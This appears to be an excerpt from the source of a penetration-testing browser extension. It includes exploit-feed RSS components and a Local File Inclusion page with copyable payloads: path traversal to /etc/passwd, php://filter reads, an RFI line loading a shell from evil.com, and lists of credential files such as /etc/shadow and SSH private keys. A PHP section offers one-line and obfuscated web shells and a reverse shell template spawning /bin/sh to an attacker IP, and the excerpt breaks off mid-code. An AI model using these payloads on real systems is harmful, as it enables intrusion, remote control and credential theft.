    "content": "import React from 'react';\nimport { Typography, Card, Col, Row, Button } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { GithubOutlined } from '@ant-design/icons';\nimport FeedRSS from './FeedRSS';\nimport ExploitCX from './ExploitCX';\nimport BugsCX from './BugsCX';\nimport DorksCX from './DorksCX';\n\nconst { Paragraph } = Typography;\nconst { Meta } = Card;\n\nexport default function CxsecurityChoose () {\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( FeedRSS )}\n                title='CX Security Independent RSS'\n                extra={[\n                    <Button href='https://cxsecurity.com' key='1' type='primary'>\n                        Visit orignal website\n                    </Button>\n                ]}\n            />\n            <Row gutter={[ 32, 24 ]} style={{ padding: 15 }}>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( BugsCX )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={\n                            <img\n                                alt='bugs_security_illustration'\n                                src='../../assets/img/security-bugs.jpg'\n                            />\n                        }\n                    >\n                        <Meta title='Bugs' description='Vulnerabilities Database' />\n                    </Card>\n                </Col>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( ExploitCX )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={\n                            <img\n                                alt='exploit_illustration'\n                                src='../../assets/img/Capture.png'\n                            />\n                        }\n                    >\n                        <Meta title='Exploit' description='The Exploit Database' />\n                    </Card>\n                </Col>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( DorksCX )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={\n                            <img\n                                alt='cve_image_logo'\n                                src='../../assets/img/Computer-security-Exploit-000055689534_Medium.jpg'\n                            />\n                        }\n                    >\n                        <Meta title='Dorks' description='Dorks Database WLB2' />\n                    </Card>\n                </Col>\n            </Row>\n            <div style={{ textAlign: 'center' }}>\n                <Paragraph>You have a suggestion about the feed ?</Paragraph>\n                <Button href='https://github.com/LasCC/Hack-Tools/issues/new'\n                    target='blank' icon={<GithubOutlined />} type='link'>\n                    Give us your feedback\n                </Button>\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/DorksCX.tsx",
    "content": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport CxsecurityChoose from './CxsecurityChoose';\n\nconst { Title } = Typography;\n\nconst fetchApi = async () => {\n    const res = await fetch(\n        'https://api.rss2json.com/v1/api.json?rss_url=https%3A%2F%2Fcxsecurity.com%2Fwlb%2Frss%2Fdorks%2F&api_key=cpe1hekkfknhpeqov1hvcojojd9csg01yqybwsaw&count=100'\n    );\n    return res.json();\n};\n\nexport default function DorksCX () {\n    const { data, status } = useQuery( 'cisco', fetchApi );\n\n    interface IDorksCX {\n        title: string;\n        link: string;\n        author: string;\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( CxsecurityChoose )}\n                title='Vulnerabilities Database'\n                subTitle='World Laboratory of Bugtraq 2 CXSecurity.com'\n            />\n            {status === 'loading' && (\n                <div style={{ textAlign: 'center' }}>\n                    <Spin />\n                    <Empty />\n                </div>\n            )}\n            {status === 'error' && (\n                <React.Fragment>\n                    <Empty\n                        image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                        imageStyle={{\n                            height: 60\n                        }}\n                        description={<span>Error getting the data please contact us.</span>}\n                    >\n                        <Button href='https://github.com/LasCC/Hack-Tools/issues' target='blank' danger>\n                            Report the bug\n                        </Button>\n                    </Empty>\n                </React.Fragment>\n            )}\n            {status === 'success' && (\n                <div\n                    key='a'\n                    style={{\n                        padding: 15\n                    }}\n                >\n                    <Title\n                        level={4}\n                        style={{\n                            fontWeight: 'bold',\n                            marginTop: 15\n                        }}\n                    >\n                        Recent Dorks\n                    </Title>\n                    <List\n                        itemLayout='horizontal'\n                        dataSource={data.items}\n                        style={{ marginTop: 15 }}\n                        renderItem={( list: IDorksCX ) => (\n                            <List.Item\n                                actions={[\n                                    <Tag color='geekblue' style={{ marginLeft: 5 }}>\n                                        {!list.author ? 'None' : list.author}\n                                    </Tag>\n                                ]}\n                            >\n                                <a href={list.link} target='_blank' rel='noreferrer noopener'>\n                                    {list.title}\n                                </a>\n                            </List.Item>\n                        )}\n                    />\n                </div>\n            )}\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/ExploitCX.tsx",
    "content": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport CxsecurityChoose from './CxsecurityChoose';\n\nconst { Title } = Typography;\n\nconst fetchApi = async () => {\n    const res = await fetch(\n        'https://api.rss2json.com/v1/api.json?rss_url=https%3A%2F%2Fcxsecurity.com%2Fwlb%2Frss%2Fexploit%2F&api_key=cpe1hekkfknhpeqov1hvcojojd9csg01yqybwsaw&count=100'\n    );\n    return res.json();\n};\n\nexport default function ExploitCX () {\n    const { data, status } = useQuery( 'cisco', fetchApi );\n\n    interface IExploitCX {\n        content: any;\n        author: string;\n        link: string;\n        title: string;\n        pubDate: string;\n        guid: string;\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( CxsecurityChoose )}\n                title='Exploit Database'\n                subTitle='World Laboratory of Bugtraq 2 CXSecurity.com'\n            />\n            {\n                status === 'loading' && (\n                    <div style={{ textAlign: 'center' }}>\n                        <Spin />\n                        <Empty />\n                    </div>\n                )\n            }\n            {\n                status === 'error' && (\n                    <React.Fragment>\n                        <Empty\n                            image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                            imageStyle={{\n                                height: 60\n                            }}\n                            description={<span>Error getting the data please contact us.</span>}\n                        >\n                            <Button danger>\n                                <a\n                                    href='https://github.com/LasCC/Hack-Tools/issues'\n                                    rel='noreferrer noopener'\n                                    target='_blank'\n                                >\n                                    Report the bug\n                                </a>\n                            </Button>\n                        </Empty>\n                    </React.Fragment>\n                )\n            }\n            {\n                status === 'success' && (\n                    <div\n                        key='a'\n                        style={{\n                            padding: 15\n                        }}\n                    >\n                        <Title\n                            level={4}\n                            style={{\n                                fontWeight: 'bold',\n                                marginTop: 15\n                            }}\n                        >\n                            Recent Exploit\n                        </Title>\n                        <List\n                            itemLayout='horizontal'\n                            dataSource={data.items}\n                            style={{ marginTop: 15 }}\n                            renderItem={( list: IExploitCX ) => (\n                                <List.Item\n                                    actions={[\n                                        <div>\n                                            {( () => {\n                                                const severityLevel = list.content.match( /Risk: (\\w{1,})/ )[ 1 ];\n                                                switch ( severityLevel ) {\n                                                    case 'High':\n                                                        return <Tag color='red'>{severityLevel}</Tag>;\n                                                    case 'Medium':\n                                                        return <Tag color='orange'>{severityLevel}</Tag>;\n                                                    case 'Low':\n                                                        return <Tag color='green'>{severityLevel}</Tag>;\n                                                    default:\n                                                        return 'None';\n                                                }\n                                            } )()}\n                                        </div>,\n                                        <Tag color='geekblue' style={{ marginLeft: 5 }}>\n                                            {list.author}\n                                        </Tag>\n                                    ]}\n                                >\n                                    <a href={list.link} target='_blank' rel='noreferrer noopener'>\n                                        {list.title}\n                                    </a>\n                                </List.Item>\n                            )}\n                        />\n                    </div>\n                )\n            }\n        </div >\n    );\n}\n"
  },
  {
    "path": "src/components/rss/ExploitDB.tsx",
    "content": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport FeedRSS from './FeedRSS';\n\nconst { Title } = Typography;\n\nconst fetchApi = async () => {\n    const res = await fetch(\n        'https://api.rss2json.com/v1/api.json?rss_url=https%3A%2F%2Fwww.exploit-db.com%2Frss.xml&api_key=spbf63tt7rvx2r0wh2x6yoz00ssjyztpceqqkdj3&order_dir=desc&count=100'\n    );\n    return res.json();\n};\n\nexport default function ExploitDB () {\n    const { data, status, } = useQuery( 'exploitdb', fetchApi );\n\n    interface IExploitDB {\n        title: any;\n        link: string;\n        pubDate: string;\n        description: string;\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( FeedRSS )}\n                title='Feed RSS'\n                subTitle='Exploit-DB.com RSS Feed'\n                extra={[\n                    <Button href='https://exploit-db.com' target='blank' key='1' type='primary'>\n                        Visit orignal website\n                    </Button>\n                ]}\n            />\n            {status === 'loading' && (\n                <div style={{ textAlign: 'center' }}>\n                    <Spin />\n                    <Empty />\n                </div>\n            )}\n            {status === 'error' && (\n                <div>\n                    <Empty\n                        image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                        imageStyle={{\n                            height: 60\n                        }}\n                        description={<span>Error getting the data please contact us.</span>}\n                    >\n                        <Button danger>\n                            <a\n                                href='https://github.com/LasCC/Hack-Tools/issues'\n                                rel='noreferrer noopener'\n                                target='_blank'\n                            >\n                                Report the bug\n                            </a>\n                        </Button>\n                    </Empty>\n                </div>\n            )}\n            {status === 'success' && (\n                <div\n                    key='a'\n                    style={{\n                        padding: 15\n                    }}\n                >\n                    <Title level={4} style={{ fontWeight: 'bold', marginTop: 15 }}>\n                        Recent exploit\n                    </Title>\n                    <List\n                        itemLayout='horizontal'\n                        dataSource={data.items}\n                        style={{ marginTop: 15 }}\n                        renderItem={( list: IExploitDB ) => (\n                            <List.Item\n                                actions={[\n                                    <div>\n                                        {( () => {\n                                            const name_tag = list.title.match( /[a-zA-Z]+/ )[ 0 ] ?? \"\";\n                                            switch ( name_tag ) {\n                                                case 'webapps':\n                                                    return <Tag color='processing'>{name_tag}</Tag>;\n                                                case 'local':\n                                                    return <Tag color='magenta'>{name_tag}</Tag>;\n                                                case 'dos':\n                                                    return <Tag color='orange'>{name_tag}</Tag>;\n                                                case 'remote':\n                                                    return <Tag color='green'>{name_tag}</Tag>;\n                                                default:\n                                                    return 'None';\n                                            }\n                                        } )()}\n                                    </div>,\n                                    <Tag color='geekblue' style={{ marginLeft: 5 }}>\n                                        {list.pubDate.slice(\n                                            list.pubDate.indexOf( '20' ),\n                                            list.pubDate.lastIndexOf( '0' ) - 8\n                                        )}\n                                    </Tag>\n                                ]}\n                            >\n                                <a href={list.link} target='_blank' rel='noreferrer noopener'>\n                                    {list.description}\n                                </a>\n                            </List.Item>\n                        )}\n                    />\n                </div>\n            )}\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/FeedRSS.tsx",
    "content": "import React from 'react';\nimport { Typography, Card, Col, Row, Avatar, Tooltip, Button } from 'antd';\nimport { goTo } from 'react-chrome-extension-router';\nimport { LinkOutlined, EyeOutlined, GithubOutlined } from '@ant-design/icons';\nimport ExploitDB from './ExploitDB';\nimport Cisco from './Cisco';\nimport cve from './CVESearch';\nimport cxsecurity_choose from './CxsecurityChoose';\n\nconst { Title, Paragraph } = Typography;\nconst { Meta } = Card;\n\nexport default function FeedRSS () {\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                Exploit Feed RSS\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                Feed about &gt; Exploits, Shellcode, 0days, Remote Exploits, Local Exploits, Web Apps, Vulnerability\n                Reports, Security Articles, Tutorials and more.\n            </Paragraph>\n            <Row gutter={[ 32, 24 ]} style={{ padding: 15 }}>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( ExploitDB )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={<img alt='exploit-db_website_homepage' src='https://i.imgur.com/ST3cgmI.png' />}\n                        actions={[\n                            <Tooltip title='Watch the feed'>\n                                <EyeOutlined key='goto_page' onClick={() => goTo( ExploitDB )} />\n                            </Tooltip>,\n                            <Tooltip title='Website link'>\n                                <a href='https://exploit-db.com' rel='noreferrer noopener' target='_blank'>\n                                    <LinkOutlined key='website_link' />\n                                </a>\n                            </Tooltip>\n                        ]}\n                    >\n                        <Meta\n                            avatar={<Avatar src='https://www.exploit-db.com/images/spider-orange.png' />}\n                            title='ExploitDB'\n                            description='Exploit Database Vulnerabilities'\n                        />\n                    </Card>\n                </Col>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( Cisco )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={<img alt='cisco_image_logo' src='https://i.imgur.com/8EWAc2t.png' />}\n                        actions={[\n                            <Tooltip title='Watch the feed'>\n                                <EyeOutlined key='goto_page' onClick={() => goTo( Cisco )} />\n                            </Tooltip>,\n                            <Tooltip title='Website link'>\n                                <a\n                                    href='https://tools.cisco.com/security/center/publicationListing.x'\n                                    rel='noreferrer noopener'\n                                    target='_blank'\n                                >\n                                    <LinkOutlined key='website_link' />\n                                </a>\n                            </Tooltip>\n                        ]}\n                    >\n                        <Meta\n                            avatar={\n                                <Avatar src='https://cdn.1min30.com/wp-content/uploads/2018/07/Symbole-Cisco.jpg' />\n                            }\n                            title='Cisco'\n                            description='Cisco Security Advisories'\n                        />\n                    </Card>\n                </Col>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( cve )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={<img alt='cve_image_logo' src='https://i.imgur.com/AtKXVuk.png' />}\n                        actions={[\n                            <Tooltip title='Watch the feed'>\n                                <EyeOutlined key='goto_page' onClick={() => goTo( cve )} />\n                            </Tooltip>,\n                            <Tooltip title='Website link'>\n                                <a href='https://www.cve-search.org/' rel='noreferrer noopener' target='_blank'>\n                                    <LinkOutlined key='website_link' />\n                                </a>\n                            </Tooltip>\n                        ]}\n                    >\n                        <Meta\n                            avatar={\n                                <Avatar src='https://d1yjjnpx0p53s8.cloudfront.net/styles/logo-thumbnail/s3/0012/5120/brand.gif?itok=mqo4KWCS' />\n                            }\n                            title='CVE'\n                            description='CVE Search engine'\n                        />\n                    </Card>\n                </Col>\n                <Col span={12}>\n                    <Card\n                        onClick={() => goTo( cxsecurity_choose )}\n                        style={{\n                            cursor: 'pointer',\n                            boxShadow:\n                                '0 0px 3.6px rgba(0, 0, 0, 0.017),  0 0px 10px rgba(0, 0, 0, 0.025),  0 0px 24.1px rgba(0, 0, 0, 0.033),  0 0px 80px rgba(0, 0, 0, 0.05)'\n                        }}\n                        cover={<img alt='cve_image_logo' src='https://i.imgur.com/agGXTkQ.jpg' />}\n                        actions={[\n                            <Tooltip title='Watch the feed'>\n                                <EyeOutlined key='goto_page' onClick={() => goTo( cxsecurity_choose )} />\n                            </Tooltip>,\n                            <Tooltip title='Website link'>\n                                <a href='https://cxsecurity.com//' rel='noreferrer noopener' target='_blank'>\n                                    <LinkOutlined key='website_link' />\n                                </a>\n                            </Tooltip>\n                        ]}\n                    >\n                        <Meta\n                            avatar={\n                                <Avatar src='https://pbs.twimg.com/profile_images/3596734713/c2cd4061a323024ff00ccf0c83c61d1d.jpeg' />\n                            }\n                            title='CX'\n                            description='CXSECURITY'\n                        />\n                    </Card>\n                </Col>\n            </Row>\n            <div style={{ textAlign: 'center' }}>\n                <Paragraph>You have a suggestion about the feed ?</Paragraph>\n                <Button icon={<GithubOutlined />} type='link'>\n                    <a\n                        href='https://github.com/LasCC/Hack-Tools/issues/new'\n                        rel='noreferrer noopener'\n                        target='_blank'\n                        style={{ marginLeft: 8 }}\n                    >\n                        Give us your feedback\n                    </a>\n                </Button>\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/types/EchoFileName.ts",
    "content": "type EchoFileName = {\n\tname: string;\n\tinput: string;\n};\n"
  },
  {
    "path": "src/components/types/Ipv4TcpCacheState.ts",
    "content": "export type Ipv4TcpCacheState = {\n    ip: string | number;\n    port: string | number;\n    output_file_name?: string | number;\n    target_file_name?: string | number;\n    shell?: string | number;\n};\n"
  },
  {
    "path": "src/components/types/MSFBuilder.ts",
    "content": "export type MSFBuilder = {\n\tPayload: string;\n\tLHOST: string;\n\tLPORT: string;\n\tEncoder: string;\n\tEncoderIterations: string;\n\tPlatform: string;\n\tArch: string;\n\tNOP: string;\n\tBadCharacters: string;\n\tFormat: string;\n\tOutfile: string;\n};\n"
  },
  {
    "path": "src/components/types/ObfuscatedFile.ts",
    "content": "export type ObfuscatedFile = {\n\tname: string;\n\tinput: string;\n};\n"
  },
  {
    "path": "src/components/web/LFI.tsx",
    "content": "import React from 'react';\nimport { Button, message, Typography, Divider } from 'antd';\nimport { CopyOutlined, LinkOutlined } from '@ant-design/icons';\nimport Clipboard from 'react-clipboard.js';\n\nconst { Title, Paragraph, Text } = Typography;\n\nexport default function LFI () {\n    const successInfoReverseShell = () => {\n        message.success( 'Your payload has been copied successfully !' );\n    };\n\n    const successInfoEncodeURL = () => {\n        message.success( 'Your payload URL encoded has been copied successfully !' );\n    };\n\n    const directoryTraversal = `foo.php?file=../../../../../../../etc/passwd`;\n    const phpWrapperLfi = `/example1.php?page=expect://ls`;\n    const phpWrapperFilter = `/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd`;\n    const phpRfi = `http://example.com/index.php?page=http://evil.com/shell.txt`;\n    const linux = [\n        { title: '/etc/passwd' },\n        { title: '/etc/shadow' },\n        { title: '/etc/issue' },\n        { title: '/etc/group' },\n        { title: '/etc/hostname' },\n        { title: '/etc/ssh/ssh_config' },\n        { title: '/etc/ssh/sshd_config' },\n        { title: '/root/.ssh/id_rsa' },\n        { title: '/root/.ssh/authorized_keys' },\n        { title: '/home/$USER/.ssh/authorized_keys' },\n        { title: '/home/$USER/.ssh/id_rsa' },\n        { title: '/proc/[0-9]*/fd/[0-9]*' },\n        { title: '/proc/mounts' },\n        { title: '/home/$USER/.bash_history' },\n        { title: '/home/$USER/.ssh/id_rsa' },\n        { title: '/var/run/secrets/kubernetes.io/serviceaccount' },\n        { title: '/var/lib/mlocate/mlocate.db' },\n        { title: '/var/lib/mlocate.db' }\n    ];\n    const apache = [\n        { title: '/etc/apache2/apache2.conf' },\n        { title: '/usr/local/etc/apache2/httpd.conf' },\n        { title: '/etc/httpd/conf/httpd.conf' },\n        { title: 'Red Hat/CentOS/Fedora Linux -> /var/log/httpd/access_log' },\n        { title: 'Debian/Ubuntu -> /var/log/apache2/access.log' },\n        { title: 'FreeBSD -> /var/log/httpd-access.log' },\n        { title: '/var/log/apache/access.log' },\n        { title: '/var/log/apache/error.log' },\n        { title: '/var/log/apache2/access.log' },\n        { title: '/var/log/apache/error.log' }\n    ];\n    const mysql = [\n        { title: '/var/lib/mysql/mysql/user.frm' },\n        { title: '/var/lib/mysql/mysql/user.MYD' },\n        { title: '/var/lib/mysql/mysql/user.MYI' }\n    ];\n    const windows = [\n        { title: '/boot.ini' },\n        { title: '/autoexec.bat' },\n        { title: '/windows/system32/drivers/etc/hosts' },\n        { title: '/windows/repair/SAM' },\n        { title: '/windows/panther/unattended.xml' },\n        { title: '/windows/panther/unattend/unattended.xml' },\n        { title: '/windows/system32/license.rtf' },\n        { title: '/windows/system32/eula.txt' }\n    ];\n\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                LFI\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                LFI stands for Local File Includes - it's a file local inclusion vulnerability that allows an attacker\n                to include files that exist on the target web server.\n            </Paragraph>\n            <Paragraph style={{ marginLeft: 15 }}>\n                Typically this is exploited by abusing dynamic file inclusion mechanisms that don't sanitize user input.\n            </Paragraph>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Title level={3}>Directory traversal</Title>\n                <Paragraph ellipsis={true}>\n                    <pre><Text copyable>{directoryTraversal}</Text></pre>\n                </Paragraph>\n                <Clipboard component='a' data-clipboard-text={directoryTraversal}>\n                    <Button\n                        type='primary'\n                        onClick={successInfoReverseShell}\n                        style={{ marginBottom: 10, marginTop: 15 }}\n                    >\n                        <CopyOutlined /> Copy the payload\n                    </Button>\n                </Clipboard>\n                <Clipboard component='a' data-clipboard-text={encodeURI( directoryTraversal )}>\n                    <Button\n                        type='dashed'\n                        onClick={successInfoEncodeURL}\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    >\n                        <LinkOutlined /> URL encoded\n                    </Button>\n                </Clipboard>\n            </div>\n            <Divider dashed />\n            <div\n                key='b'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>PHP Wrapper php://file</Title>\n                <Paragraph ellipsis={true}>\n                    <pre><Text copyable>{phpWrapperLfi}</Text></pre>\n                </Paragraph>\n                <Clipboard component='a' data-clipboard-text={phpWrapperLfi}>\n                    <Button\n                        type='primary'\n                        onClick={successInfoReverseShell}\n                        style={{ marginBottom: 10, marginTop: 15 }}\n                    >\n                        <CopyOutlined />\n                        Copy the payload\n                    </Button>\n                </Clipboard>\n                <Clipboard component='a' data-clipboard-text={encodeURI( phpWrapperLfi )}>\n                    <Button\n                        type='dashed'\n                        onClick={successInfoEncodeURL}\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    >\n                        <LinkOutlined /> URL encoded\n                    </Button>\n                </Clipboard>\n            </div>\n            <Divider dashed />\n            <div\n                key='c'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>PHP Wrapper php://filter</Title>\n                <Paragraph ellipsis={true}>\n                    <pre><Text copyable>{phpWrapperFilter}</Text></pre>\n                </Paragraph>\n                <Clipboard component='a' data-clipboard-text={phpWrapperFilter}>\n                    <Button\n                        type='primary'\n                        onClick={successInfoReverseShell}\n                        style={{ marginBottom: 10, marginTop: 15 }}\n                    >\n                        <CopyOutlined />\n                        Copy the payload\n                    </Button>\n                </Clipboard>\n                <Clipboard component='a' data-clipboard-text={encodeURI( phpWrapperFilter )}>\n                    <Button\n                        type='dashed'\n                        onClick={successInfoEncodeURL}\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    >\n                        <LinkOutlined /> URL encoded\n                    </Button>\n                </Clipboard>\n            </div>\n            <Divider dashed />\n            <div\n                key='d'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>PHP Wrapper php://filter</Title>\n                <Paragraph ellipsis={true}>\n                    <pre><Text copyable>{phpRfi}</Text></pre>\n                </Paragraph>\n                <Clipboard component='a' data-clipboard-text={phpRfi}>\n                    <Button\n                        type='primary'\n                        onClick={successInfoReverseShell}\n                        style={{ marginBottom: 10, marginTop: 15 }}\n                    >\n                        <CopyOutlined />\n                        Copy the payload\n                    </Button>\n                </Clipboard>\n                <Clipboard component='a' data-clipboard-text={encodeURI( phpRfi )}>\n                    <Button\n                        type='dashed'\n                        onClick={successInfoEncodeURL}\n                        style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    >\n                        <LinkOutlined /> URL encoded\n                    </Button>\n                </Clipboard>\n            </div>\n            <Divider dashed />\n            <div\n                key='e'\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Useful LFI files</Title>\n                <Title level={4}>Linux</Title>\n                {linux.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n                <Divider dashed />\n                <Title level={4}>Apache</Title>\n                {apache.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n                <Divider dashed />\n                <Title level={4}>MySQL</Title>\n                {mysql.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n                <Divider dashed />\n                <Title level={4}>Windows</Title>\n                {windows.map( ( k, i ) => {\n                    return (\n                        <Paragraph key={i}>\n                            <pre><Text copyable>{k.title}</Text></pre>\n                        </Paragraph>\n                    );\n                } )}\n            </div>\n            <Divider dashed />\n        </div>\n    );\n};\n"
  },
  {
    "path": "src/components/web/PhpReverseShell.tsx",
    "content": "import React from 'react';\r\nimport PersistedState from 'use-persisted-state';\r\nimport { Input, Button, message, Typography, Row, Col, Divider, Collapse } from 'antd';\r\nimport {\r\n    CopyOutlined,\r\n    WifiOutlined,\r\n    DownloadOutlined,\r\n    ArrowsAltOutlined,\r\n    createFromIconfontCN\r\n} from '@ant-design/icons';\r\nimport Clipboard from 'react-clipboard.js';\r\nimport SyntaxHighlighter from 'react-syntax-highlighter';\r\nimport { Ipv4TcpCacheState } from \"components/types/Ipv4TcpCacheState\";\r\nimport { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';\r\nimport pretty from 'pretty';\r\n\r\nconst { Title, Paragraph, Text } = Typography;\r\nconst { Panel } = Collapse;\r\nconst IconFont = createFromIconfontCN( {\r\n    scriptUrl: [ './iconfont.js' ]\r\n} );\r\n\r\n\r\n\r\nexport default function PhpReverseShell () {\r\n    const useIPv4State = PersistedState<Ipv4TcpCacheState>( 'ipv4_tcp_cache' );\r\n    const [ values, setValues ] = useIPv4State( {\r\n        ip: '',\r\n        port: '',\r\n    } );\r\n    const handleChange = ( name: string ) => ( event: { target: { value: string; }; } ) => {\r\n        setValues( { ...values, [ name ]: event.target.value } );\r\n    };\r\n\r\n    const [ messageApi, contextHolder ] = message.useMessage();\r\n    const successInfoReverseShell = () => {\r\n        messageApi.success( 'Your reverse shell has been copied successfully !' );\r\n    };\r\n\r\n    const oneLiner = `<?php system($_GET[\"cmd\"]);?>`;\r\n    const shell_obfuscate =\r\n        `<?=$_=\"\";$_=\"'\" \\;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=` +\r\n        \"${$_}['_'^'o'];echo`$_`?>\";\r\n    const shell_obfuscate_function =\r\n        `<?php $_=\"{\"; $_=($_^\"<\").($_^\">;\").($_^\"/\"); ?>` + \"<?=${'_'.$_}['_'](${'_'.$_}['__']);?>\";\r\n\r\n    const phpReverseShell = `\r\n  <?php\r\n  // php-reverse-shell - A Reverse Shell implementation in PHP\r\n  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net\r\n\r\n  set_time_limit (0);\r\n  $VERSION = \"1.0\";\r\n  $ip = '${ values.ip }';  // You have changed this\r\n  $port = ${ values.port };  // And this\r\n  $chunk_size = 1400;\r\n  $write_a = null;\r\n  $error_a = null;\r\n  $shell = 'uname -a; w; id; /bin/sh -i';\r\n  $daemon = 0;\r\n  $debug = 0;\r\n\r\n  //\r\n  // Daemonise ourself if possible to avoid zombies later\r\n  //\r\n\r\n  // pcntl_fork is hardly ever available, but will allow us to daemonise\r\n  // our php process and avoid zombies.  Worth a try...\r\n  if (function_exists('pcntl_fork')) {\r\n    // Fork and have the parent process exit\r\n    $pid = pcntl_fork();\r\n    \r\n    if ($pid == -1) {\r\n      printit(\"ERROR: Can't fork\");\r\n      exit(1);\r\n    }\r\n    \r\n    if ($pid) {\r\n      exit(0);  // Parent exits\r\n    }\r\n\r\n    // Make the current process a session leader\r\n    // Will only succeed if we forked\r\n    if (posix_setsid() == -1) {\r\n      printit(\"Error: Can't setsid()\");\r\n      exit(1);\r\n    }\r\n\r\n    $daemon = 1;\r\n  } else {\r\n    printit(\"WARNING: Failed to daemonise.  This is quite common and not fatal.\");\r\n  }\r\n\r\n  // Change to a safe directory\r\n  chdir(\"/\");\r\n\r\n  // Remove any umask we inherited\r\n  umask(0);\r\n\r\n  //\r\n  // Do the reverse shell...\r\n  //\r\n\r\n  // Open reverse connection\r\n  $sock = fsockopen($ip, $port, $errno, $errstr, 30);\r\n  if (!$sock) {\r\n    printit(\"$errstr ($errno)\");\r\n    exit(1);\r\n  }\r\n\r\n  // Spawn shell process\r\n  $descriptorspec = array(\r\n    0 => array(\"pipe\", \"r\"),  // stdin is a pipe that the child will read from\r\n    1 => array(\"pipe\", \"w\"),  // stdout is a pipe that the child will write to\r\n    2 => array(\"pipe\", \"w\")   // stderr is a pipe that the child will write to\r\n  );\r\n\r\n  $process = proc_open($shell, $descriptorspec, $pipes);\r\n\r\n  if (!is_resource($process)) {\r\n    